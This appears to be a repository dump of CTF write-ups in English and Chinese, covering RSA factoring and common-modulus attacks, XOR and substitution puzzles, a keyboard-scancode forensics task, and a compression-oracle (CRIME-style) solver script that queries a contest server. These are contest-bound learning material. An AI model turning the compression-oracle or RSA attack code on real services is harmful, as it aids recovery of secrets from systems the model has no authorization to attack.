24 | I use msieve to factor the `m` (modulus) 25 | 26 | ```shell 27 | $ msieve -q 614010459838253953596498114943057697842675637887066261109163514805589167 28 | 29 | 614010459838253953596498114943057697842675637887066261109163514805589167 30 | prp36: 783420406144696097385833069281677113 31 | prp36: 783756020423148789078921701951691559 32 | 33 | ``` 34 | 35 | And we got our `p` and `q`s now, so let's calculate `d`. 36 | 37 | ```python 38 | >>> p = 783420406144696097385833069281677113 39 | >>> q = 783756020423148789078921701951691559 40 | >>> e = 340035333160956238336074318075946961695270890880263371398510321485728225 41 | 42 | >>> import gmpy 43 | >>> gmpy.invert(e, (p-1)*(q-1)) 44 | mpz(65537) 45 | ``` 46 | 47 | So it's the famous public exponent (`e`) `65537`, and again we know that the problem is tricking us on variable names. 48 | 49 | Anyway, so now we can solve the plaintext by `t = c^d mod n` 50 | 51 | ```python 52 | >>> d = 340035333160956238336074318075946961695270890880263371398510321485728225 53 | >>> binascii.unhexlify(format(pow(c, d, n), 'x')) 54 | b'flag{l0l_l3l_k1k_k3k_;p;}' 55 | ``` 56 | 57 | Flag: `easyctf{l0l_l3l_k1k_k3k_;p;}` 58 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/share/README.md: -------------------------------------------------------------------------------- 1 | # share (crypto 150) 2 | 3 | Description: 4 | ``` 5 | Generating primes are expensive, let's share its. 6 | https://www.dropbox.com/s/jd6vly4hqtanjbd/share.zip?dl=0 7 | ``` 8 | 9 | 題目給的 zip 解開後有 `share.py` 跟 `share.json` 兩個檔案,同樣的,一個是算加密的 code,另一個則是相關的數字。 10 | 11 | 從 code 裡面可以看到,它的 `n`(modulus:模數)是一樣的,可是用了不同的 e (public exponent),`e2` 跟 `e1`, 12 | 而就因為有共同的 `n` ,而且兩個 `e` 都是質數(所以當然互質)的關係,因此符合 [Common modulus attack](https://crypto.stackexchange.com/questions/3549/common-modulus-attack-on-rsa-when-the-2-public-exponents-differ-by-a-single-bit) 的構成要件。 13 | 14 | 因為內容大同小異,所以我就直接套入 h34dump 解 VolgaCTF Quals 2013 時的 [PoC](https://h34dump.com/2013/05/volgactf-quals-2013-crypto-200/)(注意,是用 python2) 15 | 16 | ```python 17 | #!/usr/bin/env/python2 18 | # https://h34dump.com/2013/05/volgactf-quals-2013-crypto-200/ 19 | 20 | import json 21 | 22 | with open('share.json') as dfile: 23 | data = json.load(dfile.read()) 24 | 25 | e1 = data['e1'] 26 | e2 = data['e2'] 27 | c1 = data['c1'] 28 | c2 = data['c2'] 29 | n = data['n'] 30 | 31 | def gcd(a, b): 32 | if a == 0: 33 | x, y = 0, 1; 34 | return (b, x, y); 35 | tup = gcd(b % a, a) 36 | d = tup[0] 37 | x1 = tup[1] 38 | y1 = tup[2] 39 | x = y1 - (b / a) * x1 40 | y = x1 41 | return (d, x, y) 42 | 43 | #solve the Diophantine equation a*x0 + b*y0 = c 44 | def find_any_solution(a, b, c): 45 | tup = gcd(abs(a), abs(b)) 46 | g = tup[0] 47 | x0 = tup[1] 48 | y0 = tup[2] 49 | if c % g != 0: 50 | return (False, x0, y0) 51 | x0 *= c / g 52 | y0 *= c / g 53 | if a < 0: 54 | x0 *= -1 55 | if b < 0: 56 | y0 *= -1 57 | return (True, x0, y0) 58 | 59 | (x, a1, a2) = find_any_solution(e1, e2, 1) 60 | if a1 < 0: 61 | (x, c1, y) = find_any_solution(c1, n, 1) #get inverse element 62 | a1 = -a1 63 | if a2 < 0: 64 | (x, c2, y) = find_any_solution(c2, n, 1) 65 | a2 = -a2 66 | 67 | m = (pow(c1, a1, n) * pow(c2, a2, n)) % n 68 | 69 | print m 70 | ``` 71 | 72 | 然後再把出來的結果轉成字串(這裡回去用 python3): 73 | 74 | ```python 75 | >>> import binascii 76 | >>> binascii.unhexlify(hex(44508369839617488689786182184797276110552569019748631864448921357261446554001759025388494803406019839648494991117958674065789)[2:]) 77 | b'CTF{DO NOT SHARE MODULUS PLZ >< I AM FISH (?)}' 78 | ``` 79 | 80 | Flag: `CTR{DO NOT SHARE MODULUS PLZ >< I AM FISH (?)}` 81 | -------------------------------------------------------------------------------- /2015-ekoparty/misc100/README.md: -------------------------------------------------------------------------------- 1 | # Misc 100 - Press it 2 | `````` 3 | Description: Recover the flag 4 | 5 | Attachment: misc100.zip 6 | `````` 7 | 8 | In the attachment there is a text file `pressit.txt`, which include 33 lines of hex encoded strings, without any obvious pattern. 9 | 10 | ``` 11 | 0x9c 12 | 0x36 0x14 0xb6 0x94 13 | 0x23 0x17 0xa3 0x1f 0x97 0x39 0x9f 0x17 0xb9 0x1f 0x97 0x9f 14 | 0x39 15 | 0xb9 0x17 16 | 0x97 0x14 0x94 17 | 0x36 18 | 0x34 0xb6 0x39 0xb4 0xb9 19 | 0x36 0x12 0x92 20 | 0x25 21 | 0xa5 22 | 0x18 23 | 0x98 0xb6 24 | 0xe0 0x38 0x28 25 | 0xe0 0xb8 0xa8 26 | 0x17 0x97 0x30 0xb0 0x32 0xb2 27 | 0x36 0x35 28 | 0xb5 0xb6 29 | 0x32 30 | 0x18 0xb2 0x98 31 | 0x20 0xa0 32 | 0x12 0x26 0x92 0xa6 33 | 0x36 0x35 0xb6 0xb5 34 | 0x32 0xb2 35 | 0xe0 0x38 36 | 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 37 | 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0x2b 0xab 38 | 0xe0 0xb8 39 | 0x39 0xb9 40 | 0x39 0xb9 41 | 0x36 42 | 0x36 0xb6 43 | 0x1c 0x9c 44 | 0x1d 45 | ``` 46 | 47 | It is also not printable: 48 | 49 | ``` 50 | $ cat pressit.txt | sed -E 's/ ?0x//g' | xxd -r -p | xxd 51 | 0000000: 9c36 14b6 9423 17a3 1f97 399f 17b9 1f97 .6...#....9..... 52 | 0000010: 9f39 b917 9714 9436 34b6 39b4 b936 1292 .9.....64.9..6.. 53 | 0000020: 25a5 1898 b6e0 3828 e0b8 a817 9730 b032 %.....8(.....0.2 54 | 0000030: b236 35b5 b632 18b2 9820 a012 2692 a636 .65..2... ..&..6 55 | 0000040: 35b6 b532 b2e0 38e0 38e0 38e0 38e0 38e0 5..2..8.8.8.8.8. 56 | 0000050: 38e0 38e0 38e0 38e0 38e0 38e0 38e0 38e0 8.8.8.8.8.8.8.8. 57 | 0000060: 38e0 38e0 38e0 38e0 382b abe0 b839 b939 8.8.8.8.8+...9.9 58 | 0000070: b936 36b6 1c9c 1d .66.... 59 | ``` 60 | 61 | After studying on it a little bit, and with the name of the challange (pressit) as a hint, I figured out that it is a IBM PC keyboard scancode dump. 62 | 63 | (0x12, 0x25, 0x18 (on line 9,10,12) are codes for "E", "K", "O" respectly) 64 | 65 | With the help of [this table](http://stanislavs.org/helppc/make_codes.html), 66 | I was able to convert the raw scancode to keyboard actions, and after inputing it manually to `cat`, it turns out to be: 67 | 68 | ``` 69 | $ cat 70 | This is it> EKO^['ibm?model?m^[\ 71 | ``` 72 | 73 | Which stills doesn't fit the flag format. 74 | 75 | There are two keyboard actions which don't seems to make sense to me: `RightAlt+'` and `RightAlt+\`. 76 | 77 | It reminds me that the CTF (EKOparty) is hosted in Argentina, where they use Spanish keyboard layout. 78 | 79 | 80 | Then I started a Ubuntu LiveCD VM with Spanish kb layout, and `cat` the actions. 81 | 82 | ![menu](https://i.imgur.com/NX2fMlK.png) 83 | ![truth1](http://i.imgur.com/px4nX17.png) 84 | 85 | Flag: EKO{ibm_model_m} 86 | -------------------------------------------------------------------------------- /2015-ekoparty/cry200/README.md: -------------------------------------------------------------------------------- 1 | # Crypto 200 - XOR Crypter 2 | `````` 3 | Description: The state of art on encryption, can you defeat it? 4 | CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= 5 | 6 | Attachment: crypto200.zip 7 | `````` 8 | 9 | First, lets focus on the provided string. I first identified it as a base64 encoded data, so I decoded it: 10 | 11 | ``` 12 | $ printf "CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=" | base64 -d 13 | 14 | 0O{shti1_t7_uhiabe}% 15 | ``` 16 | 17 | It is first noticed that the decoded string has a great difference in length (a lot larger than (4/3)), so a part of the decoded data must be non-printable. 18 | 19 | ``` 20 | $ printf "CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=" | base64 -d | xxd 21 | 0000000: 0a30 4f7b 0606 7368 1d0f 7469 3113 5f74 .0O{..sh..ti1._t 22 | 0000010: 3710 5f75 061a 6869 0716 6162 1165 7d00 7._u..hi..ab.e}. 23 | ``` 24 | 25 | So it turned out to be the "crypted" flag, but with some of the symbols and the total length unchanged. 26 | (The {} brackets are untouched, and there are three bytes before {, which matches the flag format) 27 | 28 | Now, let's take a look on the attachment. It is a zip archive with a python script "shiftcrypt.py" inside. 29 | Which is most probably the "cipher" that was used to encrypt the flag. 30 | 31 | ```python 32 | import struct 33 | import sys 34 | import base64 35 | 36 | if len(sys.argv) != 2: 37 | print "Usage: %s data" % sys.argv[0] 38 | exit(0) 39 | 40 | data = sys.argv[1] 41 | padding = 4 - len(data) % 4 42 | if padding != 0: 43 | data = data + "\x00" * padding 44 | 45 | result = [] 46 | blocks = struct.unpack("I" * (len(data) / 4), data) 47 | for block in blocks: 48 | result += [block ^ block >> 16] 49 | 50 | output = '' 51 | for block in result: 52 | output += struct.pack("I", block) 53 | 54 | print base64.b64encode(output) 55 | ``` 56 | 57 | What the script does looks like to be: 58 | 59 | 1. Read string from argv[1] 60 | 3. With a block size of 4 chars, pad the final block with \x00 61 | 3. for each block, replace it with `the_whole_block xor block[2:4]`, which is equivalent to replacing block[2:4] with block[0:2] xor block\[2:4\] (all slicing in bytes) 62 | 7. print the output after packing as a base64 encoded string 63 | 64 | Since xor is its own inverse, we don't need to do anything to reverse the operation. 65 | 66 | ```python 67 | import struct 68 | import sys 69 | import base64 70 | 71 | #if len(sys.argv) != 2: 72 | # print "Usage: %s data" % sys.argv[0] 73 | # exit(0) 74 | 75 | data = base64.b64decode("CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=") 76 | padding = 4 - len(data) % 4 77 | if padding != 0: 78 | data = data + "\x00" * padding 79 | 80 | result = [] 81 | blocks = struct.unpack("I" * (len(data) / 4), data) 82 | for block in blocks: 83 | result += [block ^ block >> 16] 84 | 85 | output = '' 86 | for block in result: 87 | output += struct.pack("I", block) 88 | 89 | print output 90 | ``` 91 | 92 | Flag: EKO{unshifting_the_unshiftable} 93 | -------------------------------------------------------------------------------- /2015-hack.lu/creative_cheating/README.md: -------------------------------------------------------------------------------- 1 | # Creative Cheating (Crypto 150) 2 | `````` 3 | Description: Mr. Miller suspects that some of his students are cheating in an automated computer test. He captured some traffic between crypto nerds Alice and Bob. It looks mostly like garbage but maybe you can figure something out. 4 | He knows that Alice’s RSA key is (n, e) = (0x53a121a11e36d7a84dde3f5d73cf, 0x10001) (192.168.0.13) and Bob’s is (n, e) = (0x99122e61dc7bede74711185598c7, 0x10001) (192.168.0.37) 5 | `````` 6 | The attachment is a pcapng packet dump file, with Alice (192.168.0.13) sending random TCP PSH packets with some base64 encoded stuff to Bob (192.168.0.37). 7 | 8 | If we follow the TCP stream and export the contents, it's 148 line of base64 encoded strings. 9 | 10 | Let's decode one of them: 11 | ``` 12 | $ echo -n 'U0VRID0gMjQ7IERBVEEgPSAweDc1YzFmYmMyOGJiMjdiNWQyZGI5NjAxZmI5NjdMOyBTSUcgPSAweDJiNWI2MjhiZjgxODM0MDBjZGFiN2Y1ODcwYjFMQw==' | base64 -d 13 | SEQ = 24; DATA = 0x75c1fbc28bb27b5d2db9601fb967L; SIG = 0x2b5b628bf8183400cdab7f5870b1LC 14 | ``` 15 | 16 | The decoded strings consists of three parts, SEQ (stands for sequence), DATA, and SIG (stands for signature). 17 | 18 | Let's take a look at the RSA Keys now. 19 | 20 | We are provided with the `n` (modulus) and `e` (public exponent), so in order to get other numbers, we'll need to first factorize the `n` (modulus). 21 | 22 | ``` 23 | Alice: n = p * q = 0x53a121a11e36d7a84dde3f5d73cf = 38456719616722997 * 44106885765559411 24 | Bob: n = p * q = 0x99122e61dc7bede74711185598c7 = 49662237675630289 * 62515288803124247 25 | ``` 26 | 27 | We got our `p`s and `q`s now, so let's calculate our d. 28 | 29 | For Alice: 30 | ``` 31 | phin = = (38456719616722997-1) * (44106885765559411-1) = 1696206139052948841741342951192360 32 | d = modinv(e, phin) = modinv(0x10001, 1696206139052948841741342951192360) = 37191940763524230367308693117833 33 | ``` 34 | 35 | Bob: 36 | ``` 37 | phin = = (49662237675630289-1) * (62515288803124247-1) = 3104649130901425223756311624762848 38 | d = modinv(e, phin) = modinv(0x10001, 3104649130901425223756311624762848) = 1427000713644866747260499795119265 39 | ``` 40 | 41 | All of the components are here now. 42 | 43 | Back to our data. The seq ranges from 0 to 33, and for each seq, there are several entries.
44 | This is how RSA signatures started to be useful -- to check if the data are genuine. 45 | 46 | So we'll need to check if the data decrypted from `DATA` matches data from `SIG` for each occurrences in each seq. 47 | 48 | I use some dirty ways including paper notes, for this step, but this is how to decrypt the data: 49 | 50 | For data (data ^ bob_d % bob_n): 51 | ```python 52 | import binascii 53 | print(str(binascii.unhexlify(format(pow(sig, 1427000713644866747260499795119265, 0x99122e61dc7bede74711185598c7), '02x')))[2:-1]) 54 | ``` 55 | 56 | For signature (sig ^ e % alice_n): 57 | ```python 58 | import binascii 59 | print(str(binascii.unhexlify(format(pow(sig, 0x10001, 0x53a121a11e36d7a84dde3f5d73cf), '02x')))[2:-1]) 60 | ``` 61 | 62 | After decrypting and matching all of the sequences, the flag will show. 63 | 64 | Flag: flag{n0th1ng_t0_533_h3r3_m0v3_0n} 65 | -------------------------------------------------------------------------------- /2015-easyctf/49-shades-of-grey/README.md: -------------------------------------------------------------------------------- 1 | # 49 Shades of Grey (Forensics 125) 2 | 3 | Description: 4 | ``` 5 | We only have 49 shades of gray D: 6 | 7 | #000000 to #F5F5F5... there's one shade missing! Find the hex value of the missing shade. Pound sign optional. 8 | 9 | Image 10 | 11 | Hint: How can we tell which color is which? 12 | ``` 13 | 14 | ![shades](http://i.imgur.com/ZNRYzaR.png) 15 | 16 | According to the desc, we'll need to analyze the colors in the image.
17 | I'll use PIL for that. 18 | 19 | ```python 20 | >>> from PIL import Image 21 | >>> i = Image.open('shades.png') 22 | >>> i 23 | 24 | >>> c = i.getcolors() 25 | >>> c 26 | [(5321, (245, 245, 245)), (5381, (235, 235, 235)), (5413, (225, 225, 225)), (5346, (215, 215, 215)), (5401, (205, 205, 205)), (5347, (195, 195, 195)), (5326, (185, 185, 185)), (5375, (175, 175, 175)), (5342, (165, 165, 165)), (5454, (155, 155, 155)), (5354, (145, 145, 145)), (5418, (135, 135, 135)), (5280, (125, 125, 125)), (5401, (115, 115, 115)), (5389, (105, 105, 105)), (5396, (95, 95, 95)), (5406, (85, 85, 85)), (5408, (75, 75, 75)), (5306, (65, 65, 65)), (5269, (55, 55, 55)), (5318, (45, 45, 45)), (5316, (35, 35, 35)), (5266, (25, 25, 25)), (5438, (15, 15, 15)), (5425, (5, 5, 5)), (5368, (240, 240, 240)), (5320, (230, 230, 230)), (5259, (220, 220, 220)), (5223, (210, 210, 210)), (5354, (200, 200, 200)), (5472, (190, 190, 190)), (5374, (180, 180, 180)), (5375, (170, 170, 170)), (5226, (160, 160, 160)), (5210, (150, 150, 150)), (5390, (140, 140, 140)), (5310, (130, 130, 130)), (5317, (120, 120, 120)), (5421, (110, 110, 110)), (5321, (100, 100, 100)), (5421, (90, 90, 90)), (5362, (70, 70, 70)), (5366, (60, 60, 60)), (5301, (50, 50, 50)), (5263, (40, 40, 40)), (5284, (30, 30, 30)), (5286, (20, 20, 20)), (5405, (10, 10, 10)), (5420, (0, 0, 0))] 27 | ``` 28 | 29 | Let's convert the colors into int and sort it, for our convenience. 30 | 31 | ```python 32 | >>> l = [int(3 * "%.2x" % tuple(int(n) for n in i[1]), 16) for i in c] 33 | >>> l.sort() 34 | >>> l 35 | [0, 328965, 657930, 986895, 1315860, 1644825, 1973790, 2302755, 2631720, 2960685, 3289650, 3618615, 3947580, 4276545, 4605510, 4934475, 5592405, 5921370, 6250335, 6579300, 6908265, 7237230, 7566195, 7895160, 8224125, 8553090, 8882055, 9211020, 9539985, 9868950, 10197915, 10526880, 10855845, 11184810, 11513775, 11842740, 12171705, 12500670, 12829635, 13158600, 13487565, 13816530, 14145495, 14474460, 14803425, 15132390, 15461355, 15790320, 16119285] 36 | ``` 37 | 38 | Now, we'll need to get the differences between each values. 39 | 40 | ```python 41 | >>> [x[0]-x[1] for x in zip(l[1:],l[:-1])] 42 | [328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 657930, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965, 328965] 43 | ``` 44 | 45 | Noticed that there's a `657930` inside? 46 | 47 | ```python 48 | >>> [x[0]-x[1] for x in zip(l[1:],l[:-1])].index(657930) 49 | 15 50 | >>> l[16] - l[15] 51 | 657930 52 | ``` 53 | 54 | So the answer must be `l[15] + 328965`. 55 | 56 | ```python 57 | >>> l[15] + 328965 58 | 5263440 59 | >>> hex(l[15] + 328965) 60 | '0x505050' 61 | ``` 62 | 63 | Flag: `easyctf{505050}` 64 | -------------------------------------------------------------------------------- /2015-easyctf/hardwood-floor/README.md: -------------------------------------------------------------------------------- 1 | # Hardwood floor (crypto 200) 2 | 3 | Description: 4 | ``` 5 | Our intelligence tells us that this function was used to encrypt a message. They also managed to capture a spy while in the field. Unfortunately, our interrogators only managed to find the ciphertext of a message on his phone. Can you help us recover the secret message? 6 | 7 | Hint: The correct flag is the one you think is correct 8 | ``` 9 | 10 | We are provided a `encryption` function in python: 11 | 12 | ```python 13 | message = "" 14 | key = 3 15 | encrypted = ' '.join([str(ord(c)//key) for c in message]) 16 | print(encrypted) 17 | ``` 18 | 19 | Which, is equivalent to getting the ASCII value of each character. 20 | 21 | ```python 22 | >>> sentence = [chr(3*int(x)) + chr(3*int(x)+1) + chr(3*int(x)+2) for x in "27 39 33 34 10 36 32 33 35 10 37 34 10 38 35 34 37 38 15 15 15 10 33 32 38 40 33 38 34 41 34 36 16 16 38 31 33 16 39 35 38 35 16 36 41".split(" ")] 23 | >>> print(sentence) 24 | ['QRS', 'uvw', 'cde', 'fgh', '\x1e\x1f ', 'lmn', '`ab', 'cde', 'ijk', '\x1e\x1f ', 'opq', 'fgh', '\x1e\x1f ', 'rst', 'ijk', 'fgh', 'opq', 'rst', '-./', '-./', '-./', '\x1e\x1f ', 'cde', '`ab', 'rst', 'xyz', 'cde', 'rst', 'fgh', '{|}', 'fgh', 'lmn', '012', '012', 'rst', ']^_', 'cde', '012', 'uvw', 'ijk', 'rst', 'ijk', '012', 'lmn', '{|}']``` 25 | 26 | With pyenchant, we can run a spell check for every possible combinations of each characters in each words. 27 | 28 | ```python 29 | >>> import itertools, enchant 30 | >>> d = enchant.Dict("en_US") 31 | 32 | >>> a = sentence[0:4] 33 | >>> for i in list(itertools.product(*a)): print(''.join(i) + "\n" if d.check(''.join(i)) else '', end='') 34 | Such 35 | 36 | >>> a = sentence[5:9] 37 | >>> for i in list(itertools.product(*a)): print(''.join(i) + "\n" if d.check(''.join(i)) else '', end='') 38 | lack 39 | mack 40 | # lack? 41 | 42 | >>> a = sentence[10:12] 43 | >>> for i in list(itertools.product(*a)): print(''.join(i) + "\n" if d.check(''.join(i)) else '', end='') 44 | of 45 | oh 46 | pf 47 | pg 48 | # of 49 | 50 | >>> a = sentence[13:18] 51 | >>> for i in list(itertools.product(*a)): print(''.join(i) + "\n" if d.check(''.join(i)) else '', end='') 52 | rigor 53 | ``` 54 | 55 | So the first few words are probably "Such lack of rigor..." 56 | 57 | The following word `sentence[22:29]` is probably the flag, as there are seven characters with some other characters wrapped by `{|}` in the end. 58 | 59 | ```python 60 | >>> a = sentence[22:29] 61 | >>> "easyctf" in [''.join(i) for i in list(itertools.product(*a))] 62 | True 63 | ``` 64 | 65 | As we're trying to solve it using spell checks, I'll replace `012` with `oliz`. 66 | 67 | ```python 68 | >>> sentence[29:] 69 | ['{|}', 'fgh', 'lmn', '012', '012', 'rst', ']^_', 'cde', '012', 'uvw', 'ijk', 'rst', 'ijk', '012', 'lmn', '{|}'] 70 | ``` 71 | 72 | As we're trying to solve it using spell checks, I'll replace `012` with `oliz`.
73 | BTW, `]^_` is most probably underscore. 74 | 75 | ```python 76 | >>> a = ['fgh', 'lmn', 'oliz', 'oliz', 'rst'] 77 | >>> for i in list(itertools.product(*a)): print(''.join(i) + "\n" if d.check(''.join(i)) else '', end='') 78 | floor 79 | >>> a = ['cde', 'oliz', 'uvw', 'ijk', 'rst', 'ijk', 'oliz', 'lmn'] 80 | >>> for i in list(itertools.product(*a)): print(''.join(i) + "\n" if d.check(''.join(i)) else '', end='') 81 | division 82 | ``` 83 | 84 | Flag: `easyctf{fl00r_d1visi0n}` 85 | -------------------------------------------------------------------------------- /2016-ais3-final/README.md: -------------------------------------------------------------------------------- 1 | # AIS3 Final 2016 2 | 3 | 實在太弱了orz
4 | 最後沒有解出 binary 真難過,卡很多腦洞問題,智商不夠好痛苦T___T 5 | 6 | 還好有兩題 first blood,下面 crypto 2 這題是除了助教以外唯一解出來的! 7 | 8 | ## misc+crypto2 (2) 9 | ### Description 10 | ``` 11 | telnet final.ais3.org 40051 12 | 13 | File: https://final.ais3.org/files/crypto2.py 14 | ``` 15 | 16 | 這是一個還蠻妙的題目,花了還不少時間想@@,不過想完就只要爆就好了。 17 | 最後只有 2 隊解出來,另一個是 NPC XDDDD 18 | 19 | 先從 telnet 開始,`nc` 過去後是這樣: 20 | ``` 21 | $ nc final.ais3.org 40051 22 | Super secure and space-saving encryption for free! Please enter your plaintext: 23 | <輸入內容> 24 | Your ciphertext is: 4ru*Fb*Vt*v*GcNx*KVrxB*nkFIsn5SGx5BV***khHUN**Fiy9QF**gsFB*Epk2xxKunyCJE4IM0uY8qNcYIXFYhRYy711*yW**= 25 | Thank you for choosing our service. 26 | ``` 27 | 28 | 簡單來說那個 service 是一個加密服務,會在你戳他的時候,把你的輸入「加密」後再丟回來,再來看看 source: 29 | 30 | ```python 31 | import zlib 32 | import base64 33 | import string 34 | from os import urandom 35 | 36 | # ==== secret begin ==== 37 | FLAG = 'ais3{this_is_not_the_flag,_it_is_a_fake_one!}' 38 | SECRET_SUB_TABLE = 'THIS_IS_SIMPLY_A_GARBAGE_TABLE_SO_PLEASE_DONT_WORK_WITH_THIS_ONE' 39 | # ==== secret end ==== 40 | MAXLEN = 1<<20 41 | 42 | def RandomHide(c): 43 | if((ord(c) != 61) and ((ord(urandom(1)) % 5) == 0)): 44 | return '*' 45 | return c 46 | 47 | def FreeEncryptionService(pt): 48 | # compression 49 | ct = zlib.compress(FLAG + pt) 50 | # base64 encode 51 | ct = base64.b64encode(ct) 52 | # substitution cipher 53 | subcipher = string.maketrans('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/', SECRET_SUB_TABLE) 54 | ct = ct.translate(subcipher) 55 | # randomly hide some text (well, it's free. What do you expect?) 56 | ct = ''.join(RandomHide(c) for c in ct) 57 | return ct 58 | 59 | if __name__ == '__main__': 60 | pt = raw_input('Super secure and space-saving encryption for free! Please enter your plaintext:\n') 61 | if len(pt) < MAXLEN: 62 | print 'Your ciphertext is:', FreeEncryptionService(pt) 63 | print 'Thank you for choosing our service.' 64 | ``` 65 | 66 | 從這裡就可以看到它到底是怎麼「加密」的了: 67 | 68 | 1. 用 `zlib` 壓縮「FLAG + 輸入」 69 | 2. 把壓縮的結果 base64 encode 70 | 3. 用替換式加密(substitution cipher)再把字串加密一次 71 | 4. 隨機用 "*" 把一些字元改掉 72 | 73 | 經過這些曲折的過程,最後出來的結果就是噴出來的字串了XD 74 | 75 | 76 | 首先想到的就是 substitution cipher 最標準的解法:詞頻分析, 77 | 78 | 不過在仔細鑽延後發現,因為壓縮演算法特性使得輸出跟輸入不相關的關係,只要一小點的更改,就會造成詞頻完全不同(雪崩效應),總之我們沒辦法透過更改輸入、詞頻分析來解這個題目。 79 | 80 | 最後發現這其實就是一個 compression oracle,類似 SSL CRIME Attack(@Inndy 提醒XD)的漏洞, 81 | 這個攻擊手法透過更改輸入、以輸出字串的長度「來驗證是否重複」的過程,從而推出原始 plaintext 的內容。 82 | 83 | 由於壓縮演算法透過 huffman encoding 之類的方式,透過簡化重複的字串來達成減少輸出資料大小的目標, 84 | 我們如果讓後面的輸入剛好是前面 FLAG 的一部分,就會讓這筆資料裡面出現兩個重複的字串, 85 | 所以最後的攻擊流程就是:逐一跑過每個字元可能的值,看其中哪些壓縮後的長度比別人小。 86 | 87 | 又因為我們只判斷長度的關係,所以包括後面的 substitution cipher、`*` mask 都不會對攻擊造成任何影響, 88 | 看看下面的測試吧: 89 | 90 | ```python 91 | # 為簡化過程,我定義了 qaq(輸入) 會跟主機連線然後取回我們要的回傳值 92 | 93 | # 下面用 *5 只是在增加重複的字串數量,確保字數差的夠大 94 | >>> qaq(5*b"ais3") # 已經預知的 flag 內容 95 | b'4runF*aVt0vVG*Nx**Vr*BJnkFIsn**Gx5BVxySk*HUN5vFiy**FbKg*FBfEpk2*x*unyCSxF***11G**NU=' # strlen == 84 96 | >>> qaq(5*b"MOW_") # 莫名其妙的東西 97 | b'4runFbaq**11*x3+28ES**SndB/*K6STZRigSwJl*Tx1Mo**ye**yWlEfa*NZF*V6OjalyT*UG*j*nYvz*W*=' # strlen == 85 98 | >>> qaq(5*b"QAQQ") # 莫名其妙的東西 99 | b'4run**aV*0vVGcN*GKVr*BJn*FIsn5SG***Vx*SkhHUN5*Fiy*QFb*gsF***pk2xx*unyCJR3*U*GOB*E*F*=' # strlen == 85 100 | ``` 101 | 102 | 這邊可以看出我們輸入兩個不同 payload,前者(和 flag 部份重疊)的回傳值很明顯的較短,因此我們只需要針對 FLAG 逐字元一個一個暴破, 103 | 最後就會一個一個踹出所求的字元。 104 | 105 | ```python 106 | >>> letters = [x.encode('utf-8') for x in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!0123456789"] # 可能的字元 107 | >>> zip(letters, [qaq(5*(b'ais3{' + x)) for x in letters]) 108 | [('a', 65), ('b', 65), ('c', 65), ('d', 65), ('e', 65), ('f', 65), ('g', 65), ('h', 65), ('i', 65), ('j', 65), ('k', 65), ('l', 65), ('m', 65), ('n', 65), ('o', 65), ('p', 65), ('q', 65), ('r', 65), ('s', 65), ('t', 65), ('u', 65), ('v', 65), ('w', 65), ('x', 65), ('y', 65), ('z', 65), ('A', 65), ('B', 65), ('C', 64), ('D', 65), ('E', 65), ('F', 65), ('G', 65), ('H', 65), ('I', 65), ('J', 65), ('K', 65), ('L', 65), ('M', 65), ('N', 65), ('O', 65), ('P', 65), ('Q', 65), ('R', 65), ('S', 65), ('T', 65), ('U', 65), ('V', 65), ('W', 65), ('X', 65), ('Y', 65), ('Z', 65), ('_', 65), ('!', 65), ('0', 65), ('1', 65), ('2', 65), ('3', 65), ('4', 65), ('5', 65), ('6', 65), ('7', 65), ('8', 65), ('9', 65)] 109 | ``` 110 | 111 | 眼尖的話就可以發現,在後面加上 C 這個字元的話,出來的字串長度正是 64,比別的少,用同樣的方式就可以把整個 FLAG 解出來囉! 112 | 113 | `solve_crypto2.py`: 114 | ```python 115 | import sys 116 | import socket 117 | import time 118 | import base64 119 | 120 | letters = [x.encode('utf-8') for x in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!0123456789"] 121 | 122 | def qaq(qq): 123 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 124 | s.connect(("final.ais3.org", 40051)) 125 | 126 | s.recv(1024) 127 | s.send(qq + b"\n") 128 | time.sleep(0.05) 129 | ans = s.recv(1024).split(b'\n')[0].split()[-1] 130 | ans = base64.b64decode(ans.replace(b"*", b"A")) 131 | s.close() 132 | return len(ans) 133 | 134 | current = [x.encode('utf-8') for x in sys.argv[1]] 135 | 136 | while True: 137 | print(b''.join(current)) 138 | n = [qaq(5*(b''.join(current) + x)) for x in letters] 139 | # print(zip(letters, n)) 140 | current = current + [letters[n.index(min(n))]] 141 | ``` 142 | 143 | 最後跑了好久啊,網路很慢、Python 也很慢........: 144 | 145 | ``` 146 | $ python solve_crypto2.py 'ais3{' 147 | b'ais3{' 148 | b'ais3{C' 149 | b'ais3{C4' 150 | b'ais3{C4r' 151 | b'ais3{C4re' 152 | # 網路很慢、Python 也很慢,中間省略........ 153 | b'ais3{C4reful_0f_c0mpre5s10n!D4ta_L3n6Th_le4k5_1nf0' 154 | b'ais3{C4reful_0f_c0mpre5s10n!D4ta_L3n6Th_le4k5_1nf0a' 155 | b'ais3{C4reful_0f_c0mpre5s10n!D4ta_L3n6Th_le4k5_1nf0aa' 156 | b'ais3{C4reful_0f_c0mpre5s10n!D4ta_L3n6Th_le4k5_1nf0aaa' 157 | # 因為最後無法判斷長度,所以就變成 a 了XD 158 | ``` 159 | 160 | Flag 是:`ais3{C4reful_0f_c0mpre5s10n!D4ta_L3n6Th_le4k5_1nf0}` 161 | -------------------------------------------------------------------------------- /2015-easyctf/XOR/xortool_out/filename-key.csv: -------------------------------------------------------------------------------- 1 | file_name;key_repr 